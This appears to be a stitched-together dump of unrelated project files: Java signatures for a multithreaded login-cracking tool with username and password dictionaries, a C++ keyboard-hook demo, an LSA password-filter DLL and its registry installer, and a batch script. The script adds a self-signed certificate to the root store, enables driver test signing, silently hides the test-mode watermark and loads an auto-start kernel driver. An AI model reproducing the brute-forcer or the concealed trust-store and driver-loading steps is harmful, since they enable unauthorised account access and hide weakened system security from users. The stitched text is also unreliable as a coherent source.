public synchronized class main {
    static java.util.LinkedList link_url;
    static java.util.LinkedList link_username;
    static java.util.LinkedList link_password;
    static java.util.LinkedList link_error;
    public void main();
    public static Boolean LoadDic();
    public static void PrintHelpInfo();
    public static void main(String[]);
}
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package tools;
public synchronized class Others {
    public void Others();
    public static String GetEncode(String, int);
    public static boolean isNumeric(String);
}







crack/bin/main/TryLogin$1.class

package main;
synchronized class TryLogin$1 extends Thread {
    void TryLogin$1(TryLogin, int, int, java.util.LinkedList, int, java.util.LinkedList, java.util.concurrent.CountDownLatch);
    public void run();
}
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package main;
public synchronized class TryLogin {
    java.util.LinkedList sUsername;
    java.util.LinkedList sPassword;
    java.util.LinkedList sErrorList;
    String sURL;
    String Param;
    int ThreadCount;
    int timeout;
    String Encode;
    final Boolean successedquit;
    Boolean isstop;
    void TryLogin(String, String, java.util.LinkedList, java.util.LinkedList, java.util.LinkedList, int, String, int, Boolean);
    Boolean IsError(String);
    java.util.LinkedList DoLogin();
}
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package tools;
public synchronized class UrlDeal {
    public static final String ALLOWED_CHARS = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.!~*'();
    public void UrlDeal();
    public static String encodeURIComponent(String);
    private static String getHex(byte[]);
    public static String decodeURIComponent(String);
}
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source/HookingRawInputDemo.h


#pragma once

#include "resource.h"

struct DecisionRecord
{
	USHORT virtualKeyCode;
	BOOL decision;

	DecisionRecord (USHORT _virtualKeyCode, BOOL _decision) : virtualKeyCode (_virtualKeyCode), decision (_decision) {}
};







source/HookingRawInputDemo.cpp

#include "stdafx.h"
#include <deque>
#include "HookingRawInputDemo.h"
#include "HookingRawInputDemoDLL.h"

#define MAX_LOADSTRING 100


HINSTANCE hInst;								
TCHAR szTitle[MAX_LOADSTRING];					
TCHAR szWindowClass[MAX_LOADSTRING];	


HWND mainHwnd;

UINT const WM_HOOK = WM_APP + 1;
// 最大时间阀值
DWORD maxWaitingTime = 100;
// 键盘设备名
WCHAR* const numericKeyboardDeviceName = L"\\\\?\\HID#VID_04D9&PID_1203&MI_00#8&13a87ad5&0&0000#{884b96c3-56ef-11d1-bc8c-00a0c91405dd}";

std::deque<DecisionRecord> decisionBuffer;


ATOM				MyRegisterClass(HINSTANCE hInstance);
BOOL				InitInstance(HINSTANCE, int);
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK	About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	UNREFERENCED_PARAMETER(lpCmdLine);

 	// TODO: Place code here.
	MSG msg;
	HACCEL hAccelTable;

	
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_HOOKINGRAWINPUTDEMO, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	
	if (!InitInstance (hInstance, nCmdShow))
	{
		return FALSE;
	}

	hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_HOOKINGRAWINPUTDEMO));

	
	while (GetMessage(&msg, NULL, 0, 0))
	{
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

	return (int) msg.wParam;
}


ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;

	wcex.cbSize = sizeof(WNDCLASSEX);

	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon			= LoadIcon(hInstance, MAKEINTRESOURCE(IDI_HOOKINGRAWINPUTDEMO));
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
	wcex.lpszMenuName	= MAKEINTRESOURCE(IDC_HOOKINGRAWINPUTDEMO);
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

	return RegisterClassEx(&wcex);
}


BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
	HWND hWnd;

	hInst = hInstance; 

	hWnd = CreateWindow (szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

	if (!hWnd)
	{
		return FALSE;
	}


	mainHwnd = hWnd;

	ShowWindow(hWnd, nCmdShow);
	UpdateWindow(hWnd);

	// 注册键盘设备以接收Raw Input输入
	RAWINPUTDEVICE rawInputDevice[1];
	rawInputDevice[0].usUsagePage = 1;
	rawInputDevice[0].usUsage = 6;
	rawInputDevice[0].dwFlags = RIDEV_INPUTSINK;
	rawInputDevice[0].hwndTarget = hWnd;
	RegisterRawInputDevices (rawInputDevice, 1, sizeof (rawInputDevice[0]));

	InstallHook (hWnd);

	return TRUE;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;

	switch (message)
	{
	
	case WM_INPUT:
	{
		UINT bufferSize;

		
		GetRawInputData ((HRAWINPUT)lParam, RID_INPUT, NULL, &bufferSize, sizeof (RAWINPUTHEADER));
		LPBYTE dataBuffer = new BYTE[bufferSize];
		
		GetRawInputData((HRAWINPUT)lParam, RID_INPUT, dataBuffer, &bufferSize, sizeof (RAWINPUTHEADER));

		RAWINPUT* raw = (RAWINPUT*)dataBuffer;

		
		USHORT virtualKeyCode = raw->data.keyboard.VKey;
		USHORT keyPressed = raw->data.keyboard.Flags & RI_KEY_BREAK ? 0 : 1;
		WCHAR text[128];
		swprintf_s (text, 128, L"Raw Input: %X (%d)\n", virtualKeyCode, keyPressed);
		OutputDebugString (text);

		GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, NULL, &bufferSize);
		WCHAR* stringBuffer = new WCHAR[bufferSize];

		GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, stringBuffer, &bufferSize);

		if (virtualKeyCode == 0x67 && wcscmp (stringBuffer, numericKeyboardDeviceName) == 0)
		{
			decisionBuffer.push_back (DecisionRecord (virtualKeyCode, TRUE));
		}
		else
		{
			decisionBuffer.push_back (DecisionRecord (virtualKeyCode, FALSE));
		}

		delete[] stringBuffer;
		delete[] dataBuffer; 
		return 0;
	}


	case WM_HOOK:
	{
		USHORT virtualKeyCode = (USHORT)wParam;
		USHORT keyPressed = lParam & 0x80000000 ? 0 : 1;
		WCHAR text[128];
		swprintf_s (text, 128, L"Hook: %X (%d)\n", virtualKeyCode, keyPressed);
		OutputDebugString (text);

		BOOL blockThisHook = FALSE;
		BOOL recordFound = FALSE;
		int index = 1;
		if (!decisionBuffer.empty ())
		{
			std::deque<DecisionRecord>::iterator iterator = decisionBuffer.begin ();
			while (iterator != decisionBuffer.end ())
			{
				if (iterator->virtualKeyCode == virtualKeyCode)
				{
					blockThisHook = iterator->decision;
					recordFound = TRUE;
					for (int i = 0; i < index; ++i)
					{
						decisionBuffer.pop_front ();
					}
					break;
				}
				++iterator;
				++index;
			}
		}

		// 若缓冲区空或者缓冲区值均不匹配WM_HOOK上送的消息code值，则等待下一个WM_INPUT消息，直至超时
		DWORD currentTime, startTime;
		startTime = GetTickCount ();
		while (!recordFound)
		{
			MSG rawMessage;
			while (!PeekMessage (&rawMessage, mainHwnd, WM_INPUT, WM_INPUT, PM_REMOVE))
			{
				currentTime = GetTickCount ();
				if ((currentTime < startTime ? ULONG_MAX - startTime + currentTime : currentTime - startTime) > maxWaitingTime)
				{
					WCHAR text[128];
					swprintf_s (text, 128, L"Hook TIMED OUT: %X (%d)\n", virtualKeyCode, keyPressed);
					OutputDebugString (text);
					return 0;
				}
			}

			UINT bufferSize;
			GetRawInputData ((HRAWINPUT)rawMessage.lParam, RID_INPUT, NULL, &bufferSize, sizeof (RAWINPUTHEADER));
			LPBYTE dataBuffer = new BYTE[bufferSize];

			GetRawInputData((HRAWINPUT)rawMessage.lParam, RID_INPUT, dataBuffer, &bufferSize, sizeof (RAWINPUTHEADER));

			RAWINPUT* raw = (RAWINPUT*)dataBuffer;

			USHORT rawVirtualKeyCode = raw->data.keyboard.VKey;
			USHORT rawKeyPressed = raw->data.keyboard.Flags & RI_KEY_BREAK ? 0 : 1;
			WCHAR text[128];
			swprintf_s (text, 128, L"Raw Input WAITING: %X (%d)\n", rawVirtualKeyCode, rawKeyPressed);
			OutputDebugString (text);

			GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, NULL, &bufferSize);
			WCHAR* stringBuffer = new WCHAR[bufferSize];

			GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, stringBuffer, &bufferSize);

			if (virtualKeyCode != rawVirtualKeyCode)
			{
				if (rawVirtualKeyCode == 0x67 && wcscmp (stringBuffer, numericKeyboardDeviceName) == 0)
				{
					decisionBuffer.push_back (DecisionRecord (rawVirtualKeyCode, TRUE));
				}
				else
				{
					decisionBuffer.push_back (DecisionRecord (rawVirtualKeyCode, FALSE));
				}
			}
			else
			{
				recordFound = TRUE;
				if (rawVirtualKeyCode == 0x67 && wcscmp (stringBuffer, numericKeyboardDeviceName) == 0)
				{
					blockThisHook = TRUE;
				}
				else
				{
					blockThisHook= FALSE;
				}
			}
			delete[] stringBuffer;
			delete[] dataBuffer;
		}
		if (blockThisHook)
		{
			swprintf_s (text, 128, L"Keyboard event: %X (%d) is being blocked!\n", virtualKeyCode, keyPressed);
			OutputDebugString (text);
			return 1;
		}
		return 0;
	}

	case WM_DESTROY:
		UninstallHook ();
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}

INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
	UNREFERENCED_PARAMETER(lParam);
	switch (message)
	{
	case WM_INITDIALOG:
		return (INT_PTR)TRUE;

	case WM_COMMAND:
		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
		{
			EndDialog(hDlg, LOWORD(wParam));
			return (INT_PTR)TRUE;
		}
		break;
	}
	return (INT_PTR)FALSE;
}








Source/dllmain.cpp

#include "stdafx.h"
#include<Ntsecapi.h>
#include<Wtsapi32.h>
#include<iostream>
#include<string>
#pragma comment(lib, "Netapi32.lib")
#pragma comment(lib, "Wtsapi32.lib")
using namespace std;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

extern "C" __declspec(dllexport)
BOOLEAN _stdcall PasswordFilter(
  _In_  PUNICODE_STRING AccountName,
  _In_  PUNICODE_STRING FullName,
  _In_  PUNICODE_STRING Password,
  _In_  BOOLEAN SetOperation
){
	DWORD sessionId = WTSGetActiveConsoleSessionId();
	DWORD ret=0;
	wstring MsgTilte=L"用户密码变动";
	wstring Msg=L"用户 "+wstring(AccountName->Buffer)+L" 的密码正在被修改/创建，是否允许？\n\n如果您未在10秒内作出选择，该操作将被拒绝。";
	
	BOOL bSuccess = WTSSendMessage(0, sessionId,(LPWSTR)MsgTilte.c_str(),2*MsgTilte.length(), (LPWSTR)Msg.c_str(), 2*Msg.length(), MB_YESNO, 15, &ret, true);
	//只有明确的允许才返回true
	if(bSuccess && ret==IDYES) return true;
	//其他情况均返回false
	return false;
}






Binary/安装.bat

cd /d %~dp0
copy /Y PasswordFilter.dll %systemroot%\SYSTEM32
reg ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Notification Packages" /t REG_MULTI_SZ /d "PasswordFilter" /f

pause
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Sign&Load Driver/LoadDriver.bat

cd /d %~dp0
cd Tools

rem 生成并添加证书
makecert.exe -r -pe -ss PrivateCertStore -n "CN=TestCertforWDK" TestCert.cer
certmgr.exe -add testcert.cer -s -r localMachine root 
certmgr.exe -add testcert.cer -s -r localMachine trustedpublisher

rem 用证书给驱动签名
SignTool.exe sign /a /s PrivateCertStore ../TestDriver.sys

rem 开启测试模式
bcdedit /set testsigning on

rem 移除桌面下方“测试模式”水印
RemoveWatermarkX64.exe -silent

cd../

rem 加载驱动
sc create TestDriver binPath= %~dp0TestDriver.sys type= kernel start= auto

pause






Sign&Load Driver/Tools/TestCert.cer





Sign&Load Driver/Tools/certmgr.exe





Sign&Load Driver/Tools/makecert.exe





Sign&Load Driver/Tools/RemoveWatermarkX64.exe





Sign&Load Driver/Tools/signtool.exe





Sign&Load Driver/TestDriver.sys





